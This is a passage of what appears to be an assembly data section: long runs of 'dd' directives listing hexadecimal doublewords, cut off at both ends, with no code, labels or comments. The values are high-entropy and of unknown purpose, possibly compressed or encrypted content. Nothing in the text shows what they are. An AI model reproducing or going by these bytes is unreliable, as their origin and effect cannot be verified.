0B82DC58Ah, 470B9545h, 38B57EEh dd 80895890h, 447012h dd 0DB8FAB60h, 0C6238192h, 2102F500h, 0D1F32528h, 56410019h dd 0B40AF894h, 157C6E7Eh, 0AD956709h, 920500E7h, 0DA96A5h dd 0C5242097h, 9C1A1DF6h, 0EB00189Ah, 0C9B21F67h, 696DC4h dd 2003F03Fh, 0CD572729h, 28781D0Fh, 0DDB540B7h, 0E0685Ah dd 125C0D16h, 434DBD06h, 0BEEB7000h, 0A576439h, 5ACB0BF3h dd 0BC90A355h, 8900919Ah, 70DEBC65h, 2A933CF4h, 4010A556h dd 26B04C8Bh, 3A6B0A3Ah, 0DADE2C3Bh, 60A9E618h, 0E57E7FA7h dd 0B80DF870h, 0ECFB00FCh, 5409A0B8h, 450EF16Ch, 20947D05h dd 43078999h, 0E8F83DC6h, 6480D93Dh, 22F53FDBh, 6000EF6Eh dd 0A387E54h, 0D026688h, 775EB820h, 420CE158h, 245133CAh dd 6C8A510h, 7CE003Eh, 607BD80Bh, 44920053h, 45042573h dd 0B71E11D1h, 594705EFh, 0C2303D72h, 0D409F9h, 0ACA4C647h dd 764C2051h, 0ED12900h, 9E77FEBBh, 894000Fh, 578A662h dd 0D70FABE4h, 86CAA75Bh, 0EA8A4h, 8A7B6BA3h, 700B8DF7h dd 562E2D0Fh, 2140DD48h, 0CF74A589h, 33DFECBh, 0BBFA621Eh dd 9B80A1B8h, 0B3001D0Dh, 28C6B154h, 0F458E92h, 2109C18Ah dd 0EBCD0F97h, 0F7FF48Fh, 1F83C034h, 18FE6FC3h, 77F53826h dd 1003037h, 3E5A7F9Ah, 2D103990h, 364C0F7Dh, 28818699h dd 1F97F008h, 0CBBCCD43h, 0E680DB37h, 57A67B6Ah, 846F990Ch dd 96292Dh, 0BE9430C2h, 0AF4813B6h, 217909CCh, 30A914F6h dd 5800A465h, 0D89CA006h, 0C331FB4Bh, 7FD3A02Eh, 7EB7108Ch dd 30F332C9h, 6001791Ah, 7129E181h, 0EB3031F7h, 3C0930C4h dd 78D1217Eh, 0DD944C0Eh, 0C02B4F35h, 42BD22F9h, 0B7F500EBh dd 82D53FADh, 0FD7697B0h, 129D4D00h, 10C06C5Eh, 0E4080042h dd 27134C75h, 33006DD7h, 6EF1FEAFh, 10912D5h, 2AFD76BAh dd 0CC1BF84Fh, 0E0099A0h, 4020C478h, 10ECE8h, 7CFFD555h dd 82CB16D6h, 0B2DE442Ch, 3CE41400h, 0F6D9AEFEh, 77EF004Eh dd 0F373A1D8h, 8747404h, 66D6D001h, 9B1B20BDh, 3570CCh dd 0D51A957Ah, 0DB6B2E6Fh, 68007FFEh, 0BE54F038h, 968143h dd 0A126211Ah, 9A44E3CEh, 47002B79h, 0C2B4A9BAh, 7556517h dd 0D7035DA7h, 6080DFB9h, 7FAFE3E6h, 90773FAh, 0A75D6C01h dd 58F216h, 84C4636h, 7E726694h, 120FBC0Eh, 0F42B40E0h dd 326FEEh, 70362629h, 5A28EA02h, 2D09A800h, 8F9EAD75h dd 59655871h, 0AA03F700h, 4F0D551Ch, 0C0814728h, 0FF8C0700h dd 1DC22C12h, 41DC38h, 8384B804h, 710CE5CBh, 30D10825h dd 0E2140046h, 0D6D8FC3Eh, 0AF00A88Fh, 7E98FFC6h, 796E7409h dd 6DDE018Bh, 0C387D3ECh, 0B3E06A14h, 0E5F8379Bh, 20F4F061h dd 4200C7B6h, 9EEBC23Fh, 4FB801h, 62490F36h, 544BA593h dd 9CFDE400h, 1F2460C8h, 902D6012h, 2517DA9h, 6AA2AD03h dd 77B3Bh, 0B3A463A0h, 0DC5A610Eh, 8F602F00h, 5034C58h dd 0D0EA3074h, 5C870481h, 0F5552900h, 9C067BB9h, 95C1141Fh dd 0B004EC24h, 807CDD04h, 274CACCFh, 0CF34701Ch, 4FD98171h dd 0A28853h, 0DBF9DFE0h, 48A9FED8h, 64FCEA0Ah, 1E00E0F3h dd 664E7FDAh, 0A0BB0EB5h, 0D360F8ABh, 17CD970Fh, 7A863101h dd 0F11E761Bh, 833C24h, 0DDFB7D0Eh, 56F2A5A4h, 0FC1F19C0h dd 2EE4AACh, 256E4E92h, 0D5607071h, 9EFA57E3h, 0ECE75818h dd 2658B78h, 8A423A4Dh, 90A5B5DCh, 120AC183h, 23AAF3B9h dd 43A89680h, 3E16F0BCh, 901C4B4h, 9D1F12FEh, 7880D5D1h dd 2F8A5250h, 930021AAh, 6EB108CAh, 18767EA3h, 29AB63C9h dd 7400B856h, 5CDC1EFBh, 7F90C65h, 0A72283BAh, 7652A0D3h dd 23008A2Eh, 24A6AAA2h, 0CD9E1Dh, 0CAC36F3Bh, 0E9144F31h dd 44116D00h, 58FD88F6h, 36900Eh, 0AB1E2BF7h, 471986C6h dd 36C14200h, 54C3639Ah, 437400BFh, 356DCDDEh, 98902AC6h dd 8001CB38h, 2F2C88D0h, 2119843h, 9A1780D4h, 43B1A2h dd 998A40E8h, 3574751Ah, 0B49243A8h, 280840D0h, 38472FCh dd 9ED91E8Bh, 0EEF870D6h, 5671957Eh, 0AFC0E500h, 77E77F8Ch dd 68D60009h, 0C8F34ED1h, 9C92B007h, 13F4A58h, 0C4093381h dd 4424407Bh, 71B70334h, 133D1B14h, 7CC32C0h, 0BD64721Dh dd 0D8D3DE00h, 660439h, 2388E0D7h, 0F3C05498h, 2D7A0600h dd 1061D30Ah, 73D10037h, 0B53F193Eh, 0B2E4999Bh, 0C6014CF0h dd 60C4CC67h, 0F820C20Eh, 1CFE06D1h, 0EC902BCBh, 36B89100h dd 23E0D6C5h, 0A5EF0056h, 5DAEB7C4h, 0A8C00672h, 52C16586h dd 64B9D0A7h, 0E1B2EDA0h, 0DFB5B801h, 241907ECh, 0D1C5F440h dd 0FD182690h, 1DBB9F38h, 4C5E00E4h, 8E41CE21h, 0ECA350C2h dd 96C480DAh, 607CB47Dh, 0CBF478F9h, 482CAA9Fh, 0C600DBF0h dd 55844146h, 0FA7DDEh, 0ECAB93E5h, 2EE2D682h, 1D53B12Ch dd 44F51A00h, 29DEB79h, 8726CA37h, 9D61ABB8h, 89F0704Ch dd 651F6C01h, 0C0668671h, 1DC834h, 5480A0E4h, 75431074h dd 5B1C0200h, 0B0E9A215h, 3EF817h, 7E0CFB81h, 11C6734Ah dd 0C25A9B00h, 0C306403Dh, 0B55F0080h, 5E8E779Dh, 0F371AAE3h dd 0E2BF0E00h, 61213CA0h, 89E500EAh, 65CE7D85h, 7FB0FD92h dd 3444182Ch, 0A52A2100h, 0BF45CAh, 0D6291E8Ch, 4C48646Bh dd 0E7766C00h, 0A614D9E6h, 0CADC303Ch, 9B05ECCCh, 920E1AF8h dd 40D7EEFCh, 6E386B39h, 47A75h, 1918F8A5h, 2911BC73h dd 0A31A4607h, 0B2C1FD30h, 79FCC5D8h, 3D1F00C0h, 8E6020BFh dd 74016B16h, 8DB0C3A8h, 0EDE03AB2h, 8760056h, 330AD468h dd 0C4001B01h, 885181B4h, 73B915h, 0FEDB7219h, 7AC0B03Eh dd 80017F3Bh, 130DCD42h, 63F6BD5h, 7582F243h, 40026854h dd 79CB99A1h, 18586864h, 1B7D0B8Bh, 0B42A41DDh, 25DB0902h dd 0D33C2Eh, 0A42648A3h, 56000CB1h, 0B936DA53h, 4113C1h dd 4FBBF06Ch, 9B617A72h, 0D3037803h, 0FC302189h, 0AD2008C3h dd 82CDD880h, 0E1D206AEh, 80C0A5A9h, 83033B01h, 21359F48h dd 4AF05875h, 0E2B30077h, 377CDE85h, 0B42C6148h, 9C940863h dd 0BD5E0114h, 0C548EB54h, 6F845130h, 0A50F18AAh, 6C3C409Fh dd 49D3BA0Bh, 477A4E00h, 735A35B9h, 0EB3402B0h, 22307868h dd 1ADC0880h, 68C451C8h, 4C8383CDh, 3801A5B2h, 63AB0D12h dd 0BAB97A13h, 0D174E4D7h, 0D467CD09h, 500A1BEh, 504263FEh dd 48560042h, 26503064h, 442A5028h, 3360C4B3h, 78A8E548h dd 9E6B008Eh, 606FBAEBh, 0F300AF36h, 470B38C2h, 0E0DF2F7Ch dd 0CA610056h, 74679E7Fh, 9A77459Fh, 708EF2Ch, 0D8BC0900h dd 6D764Eh, 80EA9765h, 0E2A97ABFh, 0C2C34903h, 0B0E189F8h dd 0AB4E2Eh, 87DB576Eh, 0DEF4B783h, 4DB4A600h, 63D7DA97h dd 15F91E4Ah, 3FB3EF2h, 9046CE82h, 0B0AFAB0Fh, 87A267E8h dd 0BD25B200h, 9541455Fh, 0D78830ADh, 0FF3D57E8h, 525D8E00h dd 5080AC1Dh, 1A4F601h, 0E7530DB4h, 2F733517h, 952BAFC0h dd 7CD100D5h, 0FEABD36h, 1001DBB8h, 38CE5960h, 0CCC0E004h dd 15F4E1h, 913C3F96h, 26AD716Dh, 1864A912h, 1CE409Ch dd 9B42FFB2h, 0E19793F0h, 34D0EC3Ah, 1EC41907h, 0EB306058h dd 0F19F32h, 0E4C6B361h, 1229A5C3h, 207BAC12h, 16B9A201h dd 8C205183h, 2D960073h, 4602587Fh, 0CA7E8DCCh, 0BB00F477h dd 56C63C9Dh, 0B22BF59h, 26FF9C20h, 5349E000h, 0D100A107h dd 0ADAC98E8h, 3F524074h, 8C806E3Ah, 1D8482DBh, 9A634771h dd 0A072F768h, 0D7C9A4h dd 775180B8h, 167505Ch, 80E6500h, 0DAB221CFh, 0D8E071h dd 0F21F14F9h, 0F34BCE0Ch, 0FF33D600h, 993A9B5Bh, 13F0EE8Dh dd 7CB1D9h, 0E85A7575h, 0DC0069A5h, 0E240B43h, 4A3F84h dd 41F96A97h, 8D35A074h, 3EDC4C01h, 330717C5h, 0F8BECAE8h dd 0B2160067h, 0C33BEDB5h, 82FCDA73h, 89502300h, 0EB8112B1h dd 757870B2h, 754A0FF7h, 0F9E06408h, 507A0CCh, 0D52C7600h dd 563B8F13h, 0F3600002h, 0EF2D3C30h, 0A07FA57h, 68F0B68Eh dd 0A04F42F7h, 4CA036E2h, 0FDF10012h, 0A311C8CBh, 0D1001069h dd 0FF321A24h, 3B73B7h, 3C7BA4DCh, 28A2FEF9h, 8D87B600h dd 6DB29D2Dh, 7F160744h, 10AA506Fh, 0B4DC3EA5h, 48ED9003h dd 5D9EC8h, 642228B4h, 0F08EB826h, 0FC0154F4h, 82A1153Fh dd 0ACCC1B8Dh, 0F0797F69h, 707E00ADh, 85CFBE30h, 5E00A30Fh dd 2218B052h, 0E1F7D0h, 749B798Bh, 0F1435102h, 666FBB00h dd 0F3D5C9D9h, 5BDF0297h, 732D7B4h, 55EBD080h, 0E20047CAh dd 0F28E5D34h, 7F7F0ADh, 8D16CB8Fh, 0C385E0FEh, 843E9C9Bh dd 50BE0364h, 0EBCE5FD5h, 0FDC4D06Ah, 0EAD0E72h, 0BEAFB822h dd 17AB62C0h, 1800F1F7h, 15CF1FDAh, 3EEB071Ah, 4F94B1EAh dd 0B407D5EEh, 33EFF63Bh, 0D2D8D668h, 2160CB5Ch, 0E3DD6EF4h dd 5131095Dh, 0A07BA01h, 9CAA30FBh, 0C24F1DEh, 5006322Bh dd 4E484Bh, 1339650Eh, 3E3FD371h, 0D67FBF0Fh, 0DD5A017h dd 1983E3h, 1A2ED1FAh, 0F629230Bh, 11782401h, 146C215h dd 30F41CE4h, 77B18039h, 4E01EF63h, 0ECCC8D0Ah, 18801609h dd 1D221C44h, 0F500709Dh, 59FF8C33h, 0F299C51Eh, 3626003Bh dd 0D566CD04h, 0A41C8642h, 4E52F701h, 926E5043h, 1E04D863h dd 842101CCh, 76959EAEh, 0FF4C4A1h, 3581BA01h, 5436C9BFh dd 0B508F06Ah, 329D23Fh, 3ED71337h, 97B3D8B4h, 0FF550325h dd 859C99BFh, 0D9BE5888h, 0C92DA000h, 87CF023Ch, 0DE8601D5h dd 0F963B72Eh, 0F736E0CDh, 0E1EE4573h, 8BC3AE04h, 0B5C056EAh dd 0B0B7A0B6h, 2134000Eh, 0E487D393h, 0ED3FD252h, 62DA8076h dd 0FFA24EAAh, 111000DFh, 0C6DB0A5Bh, 0A800540Dh, 514B62F6h dd 97D7C6Ch, 0A79B4831h, 0A0F1AF80h, 0A9FAFC85h, 30E8701h dd 172FF0E1h, 75644570h, 5C742Ch, 8FDD3FC7h, 574781D8h dd 456E6500h, 698C7105h, 54070002h, 4DEB802Ah, 892C92FCh dd 3F014013h, 0F261D020h, 0E40A94D0h, 0BC780F0Fh, 1F4031D9h dd 0C56011B6h, 0EC66C403h, 0A7190850h, 0D646C150h, 45DD0689h dd 9862E6E2h, 0D88BD72Ah, 0F9043Dh, 40F6FCBBh, 447338Eh dd 0A682FE66h, 1180C067h, 0DF03646Ch, 30854CE9h, 461A821h dd 0A07F49E5h, 27A70F09h, 0F2E32020h, 1D48ADF9h, 1849C0B0h dd 141623h, 7A278C29h, 0FEA7E2A0h, 0B0633B0Dh, 42C4C0D2h dd 0B930C062h, 0AFD4E9EDh, 0FBE78D01h, 79DA0C1h, 0BBEC24h dd 0B3ACFEA4h, 79E56758h, 993E451Eh, 0E232A640h, 1071954h dd 21E43DD6h, 6E0646A8h, 0AA085B80h, 739907F9h, 0B74B87BBh dd 0C0F1C4EDh, 0A3153DCCh, 2437C33Eh, 842440C4h, 0DB916900h dd 22EDA68h, 0D4F866B6h, 1840C539h, 0F9003DB4h, 33B327DCh dd 4D1B92h, 0C5D1DA46h, 67AEC961h, 2D4AF000h, 7C6EA843h dd 0FBC70704h, 80E9D026h, 20F8FF52h, 0E21B3128h, 0CF7CB200h dd 68C7FB09h, 4A5600E9h, 0CE1CAF87h, 5038F391h, 98E400E1h dd 0B9744DF4h, 0CBA71D7Eh, 6A2E0396h, 0DE3EABBh, 7D621BC8h dd 668B7400h, 9F5E0F26h, 59BC0008h, 51F1A9C1h, 8100E19Ch dd 8BFB3CB0h, 0AB1DBA7h, 3306EC5Dh, 0D81E8Fh, 0E2C16AC2h dd 9C7365F7h, 0A92C3107h, 0A300AB40h, 0D7033Eh, 58243FB5h dd 34B76C7Fh, 0ACF50700h, 43B89579h, 0EE770FCFh, 0D6003164h dd 3ED2ED60h, 174FFB00h, 0FC98618h, 25A33F66h, 0DC002D58h dd 0B84AC189h, 3A01BB87h, 29AB77C8h, 0D834829Bh, 80A4FC4Ch dd 0B24822D8h, 0BD007A10h, 0FC8F31CFh, 60AC0B20h, 0E12299Bh dd 0CC00D6FBh, 0D423938Ah, 0DC72E5h, 2C8FF417h, 0AA9D4387h dd 3EBAC700h, 0C2660853h, 79A91DCEh, 145D0049h, 76233918h dd 2364338h, 0E8BBB951h, 5DCC68C3h, 0B1B41367h, 9CEC001Fh dd 0AE7E74B3h, 0A9A00202h, 40BE0AA5h, 12B26F24h, 0C26CBCh dd 4FB460A4h, 0C5002FFAh, 1B410AE8h, 68D171Ch, 0C54D194h dd 0F92461C0h, 0C787D44Ch, 0D1B3ECB0h, 0A0AEA380h, 0A07E8D92h dd 1F6AD310h, 4F1C3F0Bh, 49D3DC4h, 1E92F190h, 9BD0FC00h dd 0ECB3E27h, 6BCA0B6Ch, 79537Eh, 64497F82h, 0C900FF46h dd 122B2263h, 0DCC758Ah, 0E1610D3Fh, 0ECE0E090h, 50AF73Ah dd 0B88DBF4Ch, 0A0D1400Ch, 0AD930ED7h, 0C2CF706Fh, 72C99EA1h dd 898750Bh, 0A066C758h, 1408DFD0h, 1470C9ACh, 18791501h dd 0FF57265Eh, 4EDEB4E8h, 67317800h, 435BA3A8h, 94870306h dd 7BBD39E4h, 0EE1332C0h, 0D01F2EE0h, 758EA488h, 0F4188042h dd 48E4A6h, 1F706BAEh, 0F12F8EA7h, 9C985A00h, 0E9A4EB3Dh dd 0BC63001Ah, 0ABE3833h, 7009623h, 0E2C2FBDh, 407E4Dh dd 533C10B9h, 3008CBCFh, 6A886300h, 9AEBA92h, 0B61C071Fh dd 373F5A93h, 3CA840F0h, 900018F8h, 31EB7E0Ch, 50AE9DDBh dd 75380B0h, 5C5BF4Eh, 2403FF2Dh, 41E85AEBh, 0F4A56C6h dd 5BAFC4C1h, 63AAB4E0h, 10FFD467h, 0F40B79C1h, 680152EBh dd 0FA4A0953h, 0E7417286h, 6660BE01h, 84D7028Dh, 0DE6BCBE0h dd 0CE52AC68h, 47B4BA02h, 802E26D9h, 1A63C4DBh, 0FAD301E3h dd 5CB9E80Bh, 2FFC300Ah, 0C8DF1E00h, 0EA0113FBh, 252D004Eh dd 620C7226h, 5200C439h, 4F495CBEh, 0F6F22A6Eh, 0A6F0DCh dd 181AA836h, 0BB099EE2h, 6DC34B00h, 0C8052CD8h, 100F1DDEh dd 38258060h, 0F5AE65B5h, 0AABA8000h, 554764E0h, 0C3722666h dd 0DE7E00DDh, 94BC79Dh, 89C57A06h, 0A0A8E9h, 902AEBF6h dd 7A2D801h, 0C25C9D00h, 10146658h, 2D2F175Eh, 4F840B8Dh dd 39181D0Eh, 0AE00A2AAh, 0F0235E08h, 929D80D9h, 16D013Ch dd 3BF21A2Bh, 19947481h, 0E0523Ah, 0DF65F340h, 5D31C05Fh dd 0B587CD0h, 952BD20Fh, 0B4DB2121h, 48F86437h, 28A49103h dd 0A8F880BBh, 0EC0B2Dh, 0F325409Ah, 0E75C0E4Ah, 4C00D67Bh dd 122DC555h, 708F1654h, 0C8570018h, 5A24ADAh, 81002953h dd 1B33822h, 5C702Ah, 0ECFE686Ch, 174D8C58h, 0A7F07150h dd 0DE5B7700h, 9FFC44Ch, 0B9D40EF0h, 3BA2ED3Dh, 5940EA15h dd 8004706h, 24A7F9E1h, 7F8BAEh, 0F4619E1Eh, 3EABC4EBh dd 0CB99CE00h, 0DDD87064h, 0DBD2033Ch, 51BC822Eh, 0AAAC7D90h dd 55A55000h, 0E0443888h, 0CE8E007Ah, 0B5D8F862h, 0CDE2E993h dd 0A8177D3Ch, 7101D4EDh, 9E81F1B0h, 0A6C0E35Fh, 0F8C0A176h dd 0E0F526E6h, 0AA001574h, 71062638h, 235BCCEh, 0E94FECC9h dd 0CCA0864Eh, 40DD5DA3h, 1617C403h, 0C0053C1Bh, 5241BBh dd 22316B0Bh, 7C6456FAh, 6AEB9707h, 42840647h, 2F650780h dd 0E4C5045Ah, 0C21ACB76h, 27607D19h, 92070C21h, 0BB0EB6B4h dd 121D2A60h, 0DCD904A1h, 80C0D033h, 2BC33F4Bh, 6348F4E0h dd 89E91304h, 0F2526C40h, 4C5684ADh, 0EA7D08BFh, 0F9F1009Ch dd 0D694326Bh, 57FADA07h, 44B17501h, 0EC99897Fh, 6EF5A181h dd 248E079Ch, 973D4F30h, 0BDE88270h, 0C859DE24h, 41D60Ch dd 5BC9BADAh, 6FCD55A7h, 1B0BC67Bh, 983128Dh, 8240068h dd 17AFD3h, 0D5524496h dd 6C9A587Fh, 2377CC00h, 0E7E471F7h, 9EB7004Eh, 7F02EC67h dd 70B83D3Ah, 9820B6A0h, 879A0901h, 75B6BE55h, 300A2CE4h dd 263097FBh, 382E2E1Dh, 0CC067C8Fh, 0C051B5D4h, 4F164221h dd 200037BAh, 14F1BC74h, 7E1F924h, 64E83A94h, 0AE43B067h dd 3E604672h, 0D9381178h, 0C1C600F7h, 234D195Ah, 6648A0E0h dd 681B1902h, 98FB3229h, 3D635AEh, 0C847F5EBh, 8CD88A29h dd 1201C5E2h, 0E13E6963h, 0C42954F0h, 0F1168510h, 9EF83275h dd 0AD0D24EFh, 404F13F4h, 27A726B0h, 443CEEFFh, 2C020024h dd 0D084AAB9h, 0FE4C002Bh, 72D1E4E8h, 153D1A2Eh, 278C8013h dd 0A9FB93D5h, 3DA87A99h, 0EB80161Ch, 60B75AE8h, 0D4ECCF90h dd 0B430DB03h, 54F0E081h, 72246Ch, 0CD665A16h, 89AA4E78h dd 810183B8h, 4C26F868h, 0BBC84806h, 0C521817h, 192811F9h dd 0A2F82A79h, 6737F103h, 913AC27Bh, 0A0ECBF6Eh, 4BB51639h dd 1727000Bh, 22E6EF07h, 74671819h, 542C3D78h, 2B9984h dd 0B0C9734Bh, 0E1E0FCCh, 0F894CA7Fh, 66054104h, 0F4D8C0BEh dd 728FE17h, 920CFCA5h, 2971D6E6h, 41F51449h, 0B405FC20h dd 909B239Ch, 0A70CAB68h, 0A6D16100h, 0E36F63C5h, 287030C3h dd 0DB095E38h, 6853D400h, 0B32E84Dh, 2AE100D3h, 0AB6DFD60h dd 0F00082DDh, 3B1D7A49h, 30C0C49Eh, 2B419CA8h, 0F400C9DFh dd 7A6AFE14h, 942D71h, 120805AFh, 8EBE8782h, 5667D401h dd 715AB72Eh, 365D474h, 6B5FE8E6h, 358BF6FCh, 0E8B90228h dd 842CC724h, 0E2F27700h, 4D9D2Eh, 0A1958226h, 0EABC419Ch dd 9F992109h, 0FC44647h, 46BE7F14h, 0AF558680h, 9600DC5Dh dd 0B6CD7E0Dh, 11CD1E1h, 0F637E504h, 215B12E9h, 0A0704715h dd 0FF565478h, 6188B05h, 0F092C809h, 0BCC6DEh, 6F0C32A2h dd 251A3BD3h, 57F9231Dh, 4FB76180h, 4D1E62D0h, 440520BCh dd 192CE67h, 1E415C0h, 0B0702028h, 8029433Bh, 0D4348A1Eh dd 42224Dh, 8EF8D7CAh, 7C4A60C0h, 0D88D9903h, 907DA98Bh dd 12A7694h, 3E6AA11Bh, 300A7230h, 0DB1D2EE8h, 8B3A37E0h dd 22B108E5h, 5215F68Ch, 243F2570h, 0EC0A5818h, 0F9047440h dd 0EE9DD000h, 6437FD19h, 408E3F50h, 84C020Eh, 68007658h dd 1F2E3891h, 303C47h, 70D3E003h, 0B0B5E50Bh, 1F2E79CFh dd 0EC1E6424h, 0DB8FFDC0h, 0AD94D7h, 66503B8Dh, 7BF7BBDCh dd 8BE0BC05h, 54034AF6h, 0B8D11C67h, 0B10C43h, 5DFB4915h dd 46B39426h, 39765F00h, 0DC30ED3h, 57280E7Ch, 0E4C7D172h dd 3AC8F0C7h, 0D600B523h, 0C5F0F229h, 59609h, 1EC05C9Ch dd 0A1F16CF6h, 2C00E972h, 0E312E551h, 62A5EAh, 0B69046F5h dd 0D9AAE019h, 97A7D600h, 70F4EDEh, 77B030B1h, 83C995E1h dd 932E4501h, 0CAF64CE0h, 217D0898h, 831FC1F2h, 9581BDD8h dd 0BE8E8BDDh, 0A6DBE181h, 3A07D402h, 5B4924C0h, 1A0E049Ch dd 0B410C848h, 8C000478h, 443DC240h, 66E50CD1h, 2171088Dh dd 3807037Ch, 244F8A57h, 0F3CD7FA3h, 0C15818E7h, 72138878h dd 32061579h, 0B2FF73A4h, 92753AA1h, 0B08D391Fh, 13ADE811h dd 981FBE7Dh, 3A78B0ECh, 21DE30EDh, 1395CDh, 0C928C838h dd 0BEEC2D36h, 9123961Ch, 0E003AC4Eh, 9C9E7532h, 5CAC9A53h dd 4600ACE8h, 0C0EBE0D1h, 0EC74F0C9h, 8E210460h, 1E447C3h dd 0E6319596h, 0E09A039Eh, 703001D2h, 416FB0C1h, 60B167D1h dd 0F9C0C3DFh, 10C0186Ch, 970CCh, 0BB246FB3h, 8502360h dd 1A8F9000h, 2E2D43E0h, 0EFFF004Bh, 28E40633h, 791C971Fh dd 5EC08E41h, 0E7D2134Dh, 8436079Ah, 0F1AD3491h, 81F4554Ch dd 9DBB7321h, 5AF48AE8h, 0BD923331h, 2100FB08h, 0CC9DB335h dd 0F1A50Fh, 0BBFED088h, 0EA77F82Eh, 7A13B801h, 611E4D04h dd 3E3E71BCh, 0E7017CDCh, 0DF7D6FB9h, 92088CF1h, 403B204Eh dd 9E00B202h, 482B18C0h, 40883D98h, 81005E1Ch, 0A46409A8h dd 39546234h, 67803E42h, 0FC401D65h, 993004C9h, 165E5179h dd 3D8E98D6h, 0CB87112Ch, 5C98DEEFh, 8630AAA0h, 3B2D2935h dd 0B617033Ch, 0CB7B9D4Fh, 21C0097Ch, 833C230Dh, 200C00BEh dd 0F07321AFh, 3D06D2FEh, 0E557460h, 34D0728h, 60DE7D29h dd 0AB39FC0Ah, 0B2EC70C0h, 0E306EB78h, 1CEEA096h, 13B70FDFh dd 0F6F20CFFh, 0D3009D28h, 196F8B64h, 0BEC343h, 0B8FF43Eh dd 0DC3BBFD8h, 915CCA00h, 504566D9h, 252907CDh, 50F42270h dd 0EA162138h, 11DE0F05h, 0AF82A2h, 0F3FA361Fh, 60002F03h dd 9219B1FEh, 0D304BFh, 3922F9B5h, 7A9ACBC7h, 0D0C1731Dh dd 5E4F1081h, 59D4CDE7h, 0A9510016h, 3B6DF327h, 0E4005A69h dd 0DBCCDF62h, 0C556DAh, 0D3610E35h, 1E69A4C1h, 8AF8F205h dd 4381FC6h, 0A04A3E5Fh, 0CFBE814h, 0B79AE603h, 0BCA83C82h dd 9CC458Eh, 38621F1h, 4947B7AFh, 2CA8BFFEh, 917913D8h dd 90B95F00h, 97F80DCBh, 0D5A600BDh, 0DA02CA84h, 0DC00D28Ah dd 623E7EE8h, 0C0C230F0h, 0A7411B50h, 0C40929E3h, 0AE7570h dd 0F789DA59h, 0D50009Ch, 2A13B369h, 0AC0A1FC4h, 20B67641h dd 8C79BD78h, 0B4C57406h, 0E18D80h, 5166AD2Ah, 0DC039A1Bh dd 8821333h, 0D321003Eh, 160E6674h, 0FB60E371h, 218BF258h dd 9C07541Dh, 6D520AC2h, 3EA023F7h, 1E190930h, 97049F18h dd 3F58BBD4h, 8029AB82h, 0AC8AFE88h, 0BCF75527h, 668FCh dd 0E29E61C0h, 0E1CE7926h, 8B600FE8h, 6801A20h, 8E38005Ch dd 0FD1D2341h, 0D238A49Bh, 98DF80EDh, 1157DE80h, 4E60CE2Eh dd 0E3E20256h, 0D4A79D0Eh, 0F24A4FA8h, 5D768ECh, 62AE3C7Fh dd 8120EDECh, 67B798h, 0A5EF07C1h, 9676F1EAh, 483941C3h dd 0EEE90508h, 0EFDB8Dh, 0D6540AECh, 0E97C15FCh, 858C21C1h dd 1B00C5A7h, 9505371h, 331E0EE0h, 29F04239h, 1015C98Eh dd 14B238EBh, 14B8DDA7h, 10ECB8D9h, 1600E207h, 0B715DC3Eh dd 7500D321h, 941879B6h, 0A2BA7B4h, 2ABD8704h, 393B0384h dd 9F801493h, 0CC78085Fh, 710E4130h, 0CB907BF2h, 0EC807AD1h dd 0A4AD8509h, 8E2EDC00h, 0DB92A31Bh, 0D4DA5489h, 0EAB6A1E1h dd 102B7020h, 3A5C4937h, 6F1585E3h, 383BD5Dh, 0F771B8DAh dd 0A4E8C005h, 9DE7A6A2h, 0F689AA00h, 1D7DF8ABh, 0FF89C025h dd 8CAF4D4Fh, 0C22E3406h, 60081CA4h, 0E7E621DEh, 975B34Eh dd 0E870E001h, 8CDB931Bh, 0FC14C40h, 4EDE4051h, 0AA5DEB3Ah dd 4110B8BFh, 9F05108Bh, 3003D0D2h, 0C575E790h, 80889D49h dd 1B52668Ch, 41448CD2h, 66B31CD0h, 0F73F005Dh, 67CD7E1h dd 4B9E78C1h, 3CD80251h, 18C7249Dh, 0E28E00BEh, 764AA9D2h dd 0B1E02737h, 68743D0h, 0B8AD0060h, 91634E40h, 0F0A0F5A8h dd 0A40AED22h, 0E0DA01E0h, 0B9E33406h, 0DB8A0081h, 410F6961h dd 2C03B175h, 738D8EC4h, 0B03042E5h, 4E017C23h, 4C8CB04Dh dd 0E988D718h, 3E4E38E6h, 280CDE82h, 889061F1h, 351D6B39h dd 0DFC10785h, 0A2DB9056h, 61BE39BCh, 80F64D14h, 8C4AB050h dd 68B7C004h, 0B862963Ch, 0B79D7C20h, 6AA7001Bh, 987B8103h dd 4500215Eh, 0DBB0874Ch, 0F2AFEADh, 0B73322A0h, 0CB116978h dd 767A3901h, 0BD4F5D4Ah, 593F443h, 63415179h, 69A41BDEh dd 81E291E3h, 4D5388B0h, 948C8B11h, 0CA00229Ch, 5A184EEBh dd 1E074999h, 40FB628h, 0C8F214B2h, 0B4001EFCh, 37E867EFh dd 3075D027h, 12C67D0Ch, 5600A3A5h, 453F0943h, 1394BB44h dd 652E44Dh, 0A15813E0h dd 0B1445090h, 480790C5h, 5F064C59h, 0F0CF6907h, 0B886A229h dd 0E943810Ch, 547803DEh, 323947D1h, 0C99300A7h, 7F004991h dd 3E862D03h, 0C1375587h, 26151450h, 0C8844BACh, 0E044C0DDh dd 49241B90h, 64A6E853h, 12B62238h, 438F87DBh, 30D75F18h dd 3D0CB8DEh, 80414D6Fh, 0E1071A9Ah, 0FC411802h, 5AD310DCh dd 0EA6B2C01h, 698E0456h, 48B89015h, 10024F34h, 5F223F99h dd 30C0C4FDh, 80A1F61Eh, 0CC003177h, 0B56D045Bh, 0E2E571h dd 13D138A6h, 26E702A7h, 529FA08h, 533B008Bh, 18F5B51Dh dd 15DF9D01h, 6FA7D32Eh, 0C5168036h, 5FF80352h, 0C0049235h dd 0D994D733h, 43E97488h, 0B79B02FBh, 0C7CE3CCBh, 0B4850324h dd 5DF860B7h, 0F0263450h, 84699470h, 8B629AC8h, 0AA2F8475h dd 884040D8h, 6600B2D1h, 0EB6F5B8Ch, 48B51B8Dh, 0DAFCFC02h dd 8660008Ch, 0BF7616BDh, 75037DE8h, 0B063E3B9h, 1D082C97h dd 0B1FC4074h, 9178F3Ah, 0CEA84A2h, 15998CC4h, 61C2FE13h dd 0D2A37800h, 5D46ACBh, 53599B22h, 8548D2A9h, 0B004D663h dd 0E189115h, 61AF2880h, 8DE20596h, 6C174CBh, 28B7709Eh dd 0AC3D7200h, 516C5A3Fh, 821F1DD0h, 3E2E86A4h, 9004187Ch dd 0BA48C8A1h, 40509CC3h, 58F08861h, 1380705Fh, 38BC790Ch dd 0D58ECE1Ah, 91C01D29h, 772D8737h, 1354A281h, 9050FAFDh dd 9DACE61h, 0D1BBF235h, 0A618780Ch, 0E38DD609h, 1D089DEh dd 304CA300h, 2340E008h, 77192C3Fh, 